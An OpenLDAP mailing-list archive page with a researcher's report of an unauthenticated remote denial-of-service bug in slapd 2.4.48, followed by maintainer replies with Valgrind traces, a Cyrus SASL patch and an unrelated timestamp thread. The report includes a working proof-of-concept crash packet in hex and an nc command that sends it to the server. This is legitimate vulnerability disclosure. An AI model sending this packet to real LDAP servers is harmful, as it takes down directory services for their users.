Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (217.228.59.1) # Issue description Unauthenticated remote denial-of-service through malformed ldap packet caused by a null pointer dereference in ber_skip_tag function (libraries/liblber/decode.c). # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "3084000000b902022da277072d0b312e332e362e312e312e38810038303132353339313934303339cb36352e2e2e2e2e2e2e2ec8a6134cba3e07b6bc691e2e79a9a3f6d0bb7b5d789a8be1058da4a448206401aadcc21bc939ba86a2f30c64f585b9e65fafb0a10d8427736b1bc0422868aa1fda601953d87aa638228bc4ae2dc2f85be810f282847bcab689fb75755eed809d8e284b647ee3c76b52bd6e309d4fa7a2437cf195f6682b4bd303d2de1654160613adb2744b9632515871278b01671ca5a8faf18f736964d34f8da5d40370ec68f2b68b47fe1f2b6d1a04359f54ad827ae21963768ef1f854e03f173e1f57c1b04c5b3dd2a736bb6ea159e5000000000000000272af3a4164acbf51b0b27c7d1ed9ce4b52b0a6b0a4d678fecd8112dd6c4d00" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # Valgrind + UBSAN 5de0ddc3 connection_read(12): checking for input on id=1000 ber_get_next ber_scanf fmt ({i}) ber: ==4066091== Thread 3: ==4066091== Invalid read of size 1 ==4066091== at 0x63E1DF: ber_skip_tag (decode.c:256) ==4066091== by 0x63F7A8: ber_scanf (decode.c:865) ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) ==4066091== by 0x4BE530: fe_extended (extended.c:222) ==4066091== by 0x4BE36B: do_extended (extended.c:177) ==4066091== by 0x472CA7: connection_operation (connection.c:1158) ==4066091== by 0x471331: connection_read_thread (connection.c:1294) ==4066091== by 0x5FEE79: ldap_int_thread_pool_wrapper (tpool.c:696) ==4066091== by 0xCA384E1: start_thread (in /usr/lib64/libpthread-2.30.so) ==4066091== by 0xCCC6692: clone (in /usr/lib64/libc-2.30.so) ==4066091== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==4066091== UndefinedBehaviorSanitizer5de0ddc3 ber_get_next on fd 12 failed errno=0 (Success) :DEADLYSIGNAL ==4066091==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000063e1df bp 0x00004ee77660 sp 0x00004ee77640 T4066125) ==4066091==The signal is caused by a READ memory access. ==4066091==Hint: address points to the zero page. ==4066129== Warning: invalid file descriptor 1024 in syscall close() #0 0x63e1de in ber_skip_tag /tmp/openldap-2.4.48/libraries/liblber/decode.c:255:15 #1 0x63f7a8 in ber_scanf /tmp/openldap-2.4.48/libraries/liblber/decode.c:865:10 #2 0x4fd051 in cancel_extop /tmp/openldap-2.4.48/servers/slapd/cancel.c:52:7 #3 0x4be530 in fe_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:222:16 #4 0x4be36b in do_extended /tmp/openldap-2.4.48/servers/slapd/extended.c:177:15 #5 0x472ca7 in connection_operation /tmp/openldap-2.4.48/servers/slapd/connection.c:1158:7 #6 0x471331 in connection_read_thread /tmp/openldap-2.4.48/servers/slapd/connection.c:1294:14 #7 0x5fee79 in ldap_int_thread_pool_wrapper /tmp/openldap-2.4.48/libraries/libldap_r/tpool.c:696:3 #8 0xca384e1 in start_thread (/lib64/libpthread.so.0+0x94e1) #9 0xccc6692 in clone (/lib64/libc.so.6+0x101692) UndefinedBehaviorSanitizer can not provide additional info. Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 28 Nov '19

28 Nov '19

Howard Chu wrote: > Howard Chu wrote: >> markus.widmer(a)daasi.de wrote: > >>> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >>> reproduce this as well to see what is happening here. >> >> Yes, can reproduce this. The function that converts a component-wise time >> into a timet is referencing time since 1970. The date in 1956 would yield a >> negative timet value but the fields are unsigned ints, so instead it's treated >> as 17,000 years in the future. We can probably change this to handle signed >> timestamps but need to consider this further. >> > I believe the best way forward would be to allow signed values, and also to switch > our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). > Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. > > Changing these functions will require regenerating any indices. Looks like something > we'll rewrite for 2.5 but leave 2.4 alone. Fixed in git master commit 97c145919d8c702003b9cd8bac0e01083d3ab9a1 The time is now calculated with signed years, but the result is still returned as an unsigned value (with negative years properly sorting as less than positive years). Note that the slapd schema validator still rejects negative years at the moment. Will need to look further at that later. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms050304040807030706080402 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Created an issue upstream [1] and included the valgrind output and propos= ed patch. [1] https://github.com/cyrusimap/cyrus-sasl/issues/587 =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 4:16 PM, Howard Chu wrote: > 5ddfddde do_bind: dn () SASL mech <garbage> > 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> > datalen=3D0 > =3D=3D11019=3D=3D Thread 3: > =3D=3D11019=3D=3D Invalid write of size 1 > =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) > =3D=3D11019=3D=3D > =3D=3D11019=3D=3D Invalid read of size 1 > =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-gnu= /valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-intern= al.c:1688) > =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:11= 4) > =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) > =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) > =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size 6= 00 alloc'd > =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-gn= u/valgrind/vgpreload_memcheck-amd64-linux.so) > =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) > =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) > =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) > =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) > =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) > =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) > =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) > =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:11= 85) > =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c:= 1342) > =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c= :1048) > =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479) --------------ms050304040807030706080402 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyODE1MzkyM1owLwYJKoZIhvcNAQkEMSIEILb+contXMUwSpoY +bjTpOSSD1JRO5NsTR8vITqUHRb3MGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQAjwtYcwMK6NjmGAw3mFwZ4wvD5eQPXdnRQM2NYYUHmd+VgkhX9PB5wLwg3ZphB KYhlweOqcRkcUUkD/uYR5+UpDN0DHRmSYCYwGyP2rdQ5xWkZ50BAj7wch5D9dFWAafUTMYl0 Zkvoloxv1fslTaEUdMZfxhLa4enf3Jt8IQUaVArKTcwrrLnrOAh4zfT4oKqVMyyMpz5r0mum l8u3HNDYpMUZV0v0UEB/nCodv5o3NucL1cJph7snGCYX55OeYX6OvkwV0uOwDHiCwLKxN4BY T3h4HXNRf4tXPLNngnByOznQ11xRvYIANBehYr45Q+3S5O6vW+MORqqI8x0sRHCaAAAAAAAA --------------ms050304040807030706080402--

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by hyc＠symas.com 28 Nov '19

28 Nov '19

Stephan Zeisberg wrote: > Hi Howard =E2=80=94 >=20 > Thanks for the quick reply. Will forward the report upstream to Cyrus S= ASL. For reference, this fixes the bug: vielle:/home/software/cyrus-sasl> git diff diff --git a/lib/common.c b/lib/common.c index bc3bf1df..9969d6aa 100644 --- a/lib/common.c +++ b/lib/common.c @@ -190,7 +190,7 @@ int _sasl_add_string(char **out, size_t *alloclen, if (add=3D=3DNULL) add =3D "(null)"; - addlen=3Dstrlen(add); /* only compute once */ + addlen=3Dstrlen(add)+1; /* only compute once */ if (_buf_alloc(out, alloclen, (*outlen)+addlen)!=3DSASL_OK) return SASL_NOMEM; Git history shows this bug has existed since the code was originally writ= ten in ommit 061698456069833e244d66ce33c8f82c2cd63ce3 Author: Rob Siemborski <rjs3(a)andrew.cmu.edu> Date: Tue Dec 4 01:59:43 2001 +0000 >=20 > Best >=20 > =C2=A0=C2=A0=C2=A0 -Stephan >=20 > On 11/28/19 3:54 PM, Howard Chu wrote: >> Resending with the non-printable chars omitted: >> >> Howard Chu wrote: >>> Thanks, but your trace clearly shows that this is a fault in Cyrus SA= SL, you should be reporting >>> this issue to them. >>> >>> valgrind confirms it as well: >>> >>> 5ddfddde do_bind: dn () SASL mech <garbage> >>> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >>> datalen=3D0 >>> =3D=3D11019=3D=3D Thread 3: >>> =3D=3D11019=3D=3D Invalid write of size 1 >>> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> =3D=3D11019=3D=3D >>> =3D=3D11019=3D=3D Invalid read of size 1 >>> =3D=3D11019=3D=3D at 0x483DF54: strlen (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4E53DE4: __vfprintf_internal (vfprintf-inte= rnal.c:1688) >>> =3D=3D11019=3D=3D by 0x4E67029: __vsnprintf_internal (vsnprintf.c:= 114) >>> =3D=3D11019=3D=3D by 0x3A1FFA: lutil_debug (debug.c:74) >>> =3D=3D11019=3D=3D by 0x266FF3: slap_sasl_log (sasl.c:146) >>> =3D=3D11019=3D=3D by 0x4B9B4CF: sasl_seterror (seterror.c:260) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size= 600 alloc'd >>> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-= gnu/valgrind/vgpreload_memcheck-amd64-linux.so) >>> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >>> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >>> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >>> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >>> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >>> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >>> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >>> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:= 1185) >>> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.= c:1342) >>> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool= .c:1048) >>> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479= ) >>> >>> >>> >>> >> >=20 --=20 -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

--------------ms000905070707070901010503 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US Hi Howard =E2=80=94 Thanks for the quick reply. Will forward the report upstream to Cyrus SAS= L. Best =C2=A0=C2=A0=C2=A0 -Stephan On 11/28/19 3:54 PM, Howard Chu wrote: > Resending with the non-printable chars omitted: > > Howard Chu wrote: >> Thanks, but your trace clearly shows that this is a fault in Cyrus SAS= L, you should be reporting >> this issue to them. >> >> valgrind confirms it as well: >> >> 5ddfddde do_bind: dn () SASL mech <garbage> >> 5ddfddde =3D=3D> sasl_bind: dn=3D"" mech=3D<garbage> >> datalen=3D0 >> =3D=3D11019=3D=3D Thread 3: >> =3D=3D11019=3D=3D Invalid write of size 1 >> =3D=3D11019=3D=3D at 0x4B9B1DB: sasl_seterror (seterror.c:247) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.= c:1048) >> =3D=3D11019=3D=3D by 0x4DBE668: start_thread (pthread_create.c:479)= >> =3D=3D11019=3D=3D by 0x4EFA322: clone (clone.S:95) >> =3D=3D11019=3D=3D Address 0x62032a8 is 0 bytes after a block of size = 600 alloc'd >> =3D=3D11019=3D=3D at 0x483CFAF: realloc (in /usr/lib/x86_64-linux-g= nu/valgrind/vgpreload_memcheck-amd64-linux.so) >> =3D=3D11019=3D=3D by 0x4B930A4: _buf_alloc (common.c:2186) >> =3D=3D11019=3D=3D by 0x4B93299: _sasl_add_string (common.c:196) >> =3D=3D11019=3D=3D by 0x4B9B2D4: sasl_seterror (seterror.c:187) >> =3D=3D11019=3D=3D by 0x4B9A18D: sasl_server_start (server.c:1418) >> =3D=3D11019=3D=3D by 0x26B88B: slap_sasl_bind (sasl.c:1666) >> =3D=3D11019=3D=3D by 0x21E130: fe_op_bind (bind.c:279) >> =3D=3D11019=3D=3D by 0x21DCE1: do_bind (bind.c:205) >> =3D=3D11019=3D=3D by 0x1F35BA: connection_operation (connection.c:1= 185) >> =3D=3D11019=3D=3D by 0x1F3CE7: connection_read_thread (connection.c= :1342) >> =3D=3D11019=3D=3D by 0x35DFF9: 